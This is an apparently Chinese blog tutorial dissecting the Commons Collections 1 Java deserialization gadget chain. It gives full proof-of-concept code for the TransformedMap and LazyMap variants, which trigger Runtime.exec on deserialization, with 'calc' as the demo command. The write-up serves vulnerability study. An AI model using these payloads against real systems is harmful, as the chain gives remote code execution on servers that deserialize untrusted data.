• Commons Collections1


    环境搭建

    JDK:<8u71

    本白用的是8u65

    img

    <dependencies>
    
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
    
    </dependencies>
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    代码审计

    入口点是一个Transformer接口,里面只有一个transform的对象

    img

    该接口的实现类

    img

    该接口的重要实现类有:ConstantTransformerinvokerTransformerChainedTransformer,TransformedMap

    ConstantTransformer

    其中我们来看一下ConstantTransformer

    img

    常量转换,转换的逻辑也非常的简单:传入对象不会经过任何改变直接返回。例如传入Runtime.class ,进行转换返回的依旧是Runtime.class

    这里的iConstant是在构造函数时传入的一个对象

    但是无论是调用transform方法还是getConstant方法,他们的返回值都是iConstant

    所以该类的作用就是包装任意一个对象,在执行回调时返回该对象

    InvokerTransformer

    再来看下InvokerTransformer的源码,这也是该漏洞的关键类

    /**
         * Constructor for no arg instance.
         * 
         * @param methodName  the method to call
         */
        private InvokerTransformer(String methodName) {
            super();
            iMethodName = methodName;
            iParamTypes = null;
            iArgs = null;
        }
    
        /**
         * Constructor that performs no validation.
         * Use getInstance if you want that.
         * 
         * @param methodName  the method to call
         * @param paramTypes  the constructor parameter types, not cloned
         * @param args  the constructor arguments, not cloned
         */
        public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
            super();
            iMethodName = methodName;
            iParamTypes = paramTypes;
            iArgs = args;
        }
    
        /**
         * Transforms the input to result by invoking a method on the input.
         * 
         * @param input  the input object to transform
         * @return the transformed result, null if null input
         */
        public Object transform(Object input) {
            if (input == null) {
                return null;
            }
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(iMethodName, iParamTypes);
                return method.invoke(input, iArgs);
                    
            } catch (NoSuchMethodException ex) {
                throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException ex) {
                throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException ex) {
                throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
            }
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50

    其中在实例化InvokerTransformer时,有三个参数

    1、需要执行的方法名

    2、该函数的参数列表参数类型

    3、该函数的参数列表

    img

    实例化后,紧借着调用了transform方法,也就是执行了input对象的iMethodName方法

    img

    到这里我们可以根据InvokerTransformer的参数来写一个本地rce

    img

    public static void main(String[] args) {
            Runtime r = Runtime.getRuntime();
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
    
    • 1
    • 2
    • 3

    img

    到这里,我们先整理一下思路,看我们下一步需要找什么

    img

    对于反序列化,我们肯定要找到一个readObject来读取InputStream流的对象,而最后的恶意代码执行也有了上面的InvokerTransformer类可以实现,所以下一步我们就需要找到一个调用transform方法的类

    跟进我们写的本地执行中transform方法,并查询调用该方法的所有类

    TransfomedMap

    其中在TransformedMap类中有3处调用

    img

    img

    接受的对象时map,但是传出的键名和键值,也就是key和value是经过修饰的

    其中这里的静态方法会返回经过TransformedMap方法处理的对象,键名和键值

    img

    而其中关于键值value的transform

    img

    我们跟进会发现到了TransformedMap的父类,也就是AbstractInputCheckedMapDecorator

    img

    这里的setValue是对MapEntry的方法重写,其中会调用checkSetValue,从而触发valueTransformer.transform

    poc:

    public static void main(String[] args) {
            Runtime r = Runtime.getRuntime();
            InvokerTransformer invokerTransformer = new InvokerTransformer("exec", 
    new Class[]{String.class}, new Object[]{"calc"});
    
            HashMap<Object, Object> map = new HashMap<>();
            map.put("key","value");
            Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
            for (Map.Entry entry:transformedMap.entrySet()){
                entry.setValue(r);
            }
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    所以我们可以for循环MapEntry中map对象,再去调用value的transform方法

    img

    从我们写的poc来看

    setValue方法会调用到TransformedMap的父类中的setValue

    进而调用checkSetValue从而触发valueTransformer.transform(value)

    而这里的操作相当于

    Runtime r = Runtime.getRuntime();
    invokerTransformer.transform(r)
    
    • 1
    • 2

    也就达到了命令执行的目的

    当然我们也可以通过另一个实现类完成命令执行的操作

    ChainedTransformer

    ****ChainedTransformer****类封装了Transformer的链式调用,我们只需要传入一个Transformer数组,ChainedTransformer就会依次调用每一个Transformertransform方法。

    /**
         * Constructor that performs no validation.
         * Use getInstance if you want that.
         * 
         * @param transformers  the transformers to chain, not copied, no nulls
         */
        public ChainedTransformer(Transformer[] transformers) {
            super();
            iTransformers = transformers;
        }
    
        /**
         * Transforms the input to result via each decorated transformer
         * 
         * @param object  the input object passed to the first transformer
         * @return the transformed result
         */
        public Object transform(Object object) {
            for (int i = 0; i < iTransformers.length; i++) {
                object = iTransformers[i].transform(object);
            }
            return object;
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    第⼀个是ConstantTransformer,直接返回当前环境的Runtime对象;第二个是InvokerTransformer,执⾏Runtime对象的exec⽅法

    手工put触发回调

    poc:

    public static void main(String[] args) {
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.getRuntime()),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
            Transformer transformerChain = new ChainedTransformer(transformers);
            Map map = new HashMap();
            Map outerMap = TransformedMap.decorate(map, null, transformerChain);
            outerMap.put("key", "value");
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    至此,我们的链子

    img

    虽然调用的实现类是不同的,但是大致的步骤都是差不多的

    都是通过对Map对象的value值进行操作,将调用InvokerTransformer 的对象存入Map→Value

    并调用TransformedMap.decorate这一静态方法,使其触发valueTransformer.transform方法,实际上也就是触发invokerTransformer.transform 从而达到命令执行的目的

    当然,上面的两个EXP还不算真正的链子,应该将Map对象变成一个序列化流

    既然是反序列化,触发的点就是readObject,我们还需要找到一个存在类似的写入操作

    接着开始找哪里调用了setValue方法

    img

    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
                String name = memberValue.getKey();
                Class<?> memberType = memberTypes.get(name);
                if (memberType != null) {  // i.e. member still exists
                    Object value = memberValue.getValue();
                    if (!(memberType.isInstance(value) ||
                          value instanceof ExceptionProxy)) {
                        memberValue.setValue(
                            new AnnotationTypeMismatchExceptionProxy(
                                value.getClass() + "[" + value + "]").setMember(
                                    annotationType.members().get(name)));
                    }
                }
            }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    注意到这里存在Map.Entry的遍历和调用setValue,大致是符合我们上面写的第一个EXP

    再来看一下构造函数

    img

    这里就有两个问题了

    1、Runtime.getRuntime()没有实现java.io.Serializable接口,不能序列化

    2、想要调用setValue需要经过两个if判断,否则不能调用

    这里的Map是我们可控的,也就是可以调用invokerTransformer.transform

    并且这里的class关键字前没有public,不能直接调用,这里就需要反射获取

    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
                Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class,Map.class);
                annotationInvocationHandler.setAccessible(true);
                Object o = annotationInvocationHandler.newInstance(Override.class,transformedMap);
                serialize(o);
                unserialize("ser.bin");
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    同时这里的Runtime部分就不能用java.lang.Runtime了,而是java.lang.Class并写在ChainedTransformer 数组内

    Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[]{}}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[]{}}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
                };
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    接着就是第二个问题

    我们先在第一个if打上断点调试看下

    这里判定为null,肯定无法进入if

    img

    考虑到我们之前调用的无参方法中注解类存在value的参数

    img

    img

    所以这里将map对象的key修改为value并将焦勇的无参方法换成Target

    所以最终的poc:

    package org.example;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.io.*;
    import java.lang.annotation.Target;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.InvocationTargetException;
    import java.util.HashMap;
    import java.util.Map;
    
    public class cc1 {
        public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
    
    //        Runtime r = Runtime.getRuntime();
    //        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
    //                new Class[]{String.class}, new Object[]{"calc"});
    
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Class.forName("java.lang.Runtime")),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[]{}}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[]{}}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            new Object[]{"calc"})
            };
    
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    //        chainedTransformer.transform(Runtime.class);
    
    //        Class c = Runtime.class;
    //        Method getRuntimeMethod = c.getMethod("getRuntime",null);
    //        Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
    //        Method execMethod = c.getMethod("exec",String.class);
    //        execMethod.invoke(r,"calc");
    
            HashMap<Object, Object> map = new HashMap<>();
            map.put("value", "ki10");
            Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
    //
    //
    //        for (Map.Entry entry : transformedMap.entrySet()) {
    //            entry.setValue(r);
    
    //    }
    
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationhdConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationhdConstructor.setAccessible(true);
        Object o = annotationInvocationhdConstructor.newInstance(Target.class, transformedMap);
    
        serialize(o);
    
        unserialize("ser.bin");
    
    }
    
            public static void serialize(Object obj) throws IOException {
                ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
                oos.writeObject(obj);
            }
            public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
                ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
                Object obj = ois.readObject();
                return obj;
            }
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75

    img

    至此TransformedMap 这条链子就走完了

    img

    但是通过ysoseiral源码发现

    Gadget chain:
    		ObjectInputStream.readObject()
    			AnnotationInvocationHandler.readObject()
    				Map(Proxy).entrySet()
    					AnnotationInvocationHandler.invoke()
    						LazyMap.get()
    							ChainedTransformer.transform()
    								ConstantTransformer.transform()
    								InvokerTransformer.transform()
    									Method.invoke()
    										Class.getMethod()
    								InvokerTransformer.transform()
    									Method.invoke()
    										Runtime.getRuntime()
    								InvokerTransformer.transform()
    									Method.invoke()
    										Runtime.exec()
    	Requires:
    		commons-collections
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    该链调用的并不是TransformedMap而是LazyMap

    相较于TransformedMapLazyMap 也要更复杂一点

    这次的链子,我们反着来学习

    从源码中不难发现,在AnnotationInvocationHandler.readObject() 方法下没有直接调用Map的get方法而是使用了动态代理

    我们首先来看一下LazyMap中的get方法

    img

    其中containsKey是布尔型的

    img

    也就是说当containsKey不存在时,就会去调用factory.transform(key)并将其作业返回值

    但对于sun.reflect.annotation.AnnotationInvocationHandler 这个类来说,实际上这个类是继承了InvocationHandler 的。也就是说,可以将这个对象动态代理,在readObject的时候,调用方法就可以进入AnnotationInvocationHandler的invoke方法,从而调用LazyMap中的get(key)

    package org.example;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.annotation.Retention;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    import java.util.HashMap;
    import java.util.Map;
    
    public class cc1 {
        public static void main(String[] args) throws Exception {
    
    //        Runtime r = Runtime.getRuntime();
    //        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
    //                new Class[]{String.class}, new Object[]{"calc"});
    
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Class.forName("java.lang.Runtime")),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class,Class[].class},
                            new Object[]{"getRuntime",new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class,Object[].class},
                            new Object[]{null,new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            new Object[]{"calc"})
            } ;
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
    
            Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
    
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
            cons.setAccessible(true);
            InvocationHandler handler = (InvocationHandler)cons.newInstance(Retention.class, outerMap);
    
            Map proxyMap = (Map) Proxy.newProxyInstance(
                    Map.class.getClassLoader(),
                    new Class[]{Map.class},
                    handler
            );
            Object o = cons.newInstance(Retention.class, proxyMap);
            byte[] bytes = serialize(o);
            unserialize(bytes);
        }
        public static void unserialize(byte[] bytes) throws Exception{
            try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
                ObjectInputStream oin = new ObjectInputStream(bain)){
                oin.readObject();
            }
        }
    
        public static byte[] serialize(Object o) throws Exception{
            try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
                ObjectOutputStream oout = new ObjectOutputStream(baout)){
                oout.writeObject(o);
                return baout.toByteArray();
            }
    
            }
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73

    img

    最后

    poc适用的版本应该是<8u71

  • 相关阅读:
    基于web的运动会综合管理系统
    程序员日均写7行代码被开除,这个行业真的还是普通人的最优选吗
    作为资深Mac用户,那些相见恨晚的软件
    raspberry 4b开启V4L2 摄像头
    minio安装以及使用
    一些docker笔记
    避坑:使用torchvision.transforms.functional.adjust_gamma进行gamma变换时需注意输入数据的类型
    echarts仪表盘vue
    动态生成表格完整版(内含解析)
    关于tensorboard无法打开
  • 原文地址:https://blog.csdn.net/m0_52367015/article/details/126113152